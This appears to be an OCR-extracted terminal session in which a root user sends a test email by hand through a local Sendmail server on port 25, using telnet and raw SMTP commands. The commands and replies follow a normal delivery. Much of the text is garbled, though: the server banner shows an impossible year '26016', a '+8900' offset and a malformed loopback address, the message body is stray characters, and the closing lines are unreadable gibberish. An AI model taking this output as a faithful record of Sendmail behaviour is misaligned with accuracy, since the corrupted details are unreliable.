telnet 127.0.0.1 25

root@ubuntu-14: /

root@ubuntu-14: /# telnet 127.0.0.1 25

Trying 127.0.0.1...

Connected to 127.0.0.1.

Escape character is '~]'.

220 ubuntu-14 ESMTP Sendmail 8.14.4/8.14.4/Debian-8; Mon, 22 Aug 26016 00:33:25 +
8900; (No UCE/UBE) logging access from: localhost(0K)-localhost [127.08.08.1]
helo localhost

250 ubuntu-14 Hello localhost [127.0.0.1], pleased to meet you

mail from:wishfree@empas.com

250 2.1.0 wishfree@empas.com... Sender ok

rcpt to:wishfree76@gmail.com

250 2.1.5 wishfree76@gmail.com... Recipient ok

data

354 Enter mail, end with "." on a line by itself

Hello Test!!

ujo
HL
T
\
o
Ojo

250 2.0.0 u7LFXPBs002838 Message accepted for delivery
quit

221 2.0.0 ubuntu-14 closing connection

Connection closed by foreign host.

root@ubuntu-14:/#

121 7-47 sendmail2 0|2aH H|Y F&s517|
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B E-mail AZolo| HOl CHj*H
- A 0 Yo HEHE S5 = 8 84 “ts
= &) O &2 20t0| Lotz S ALE
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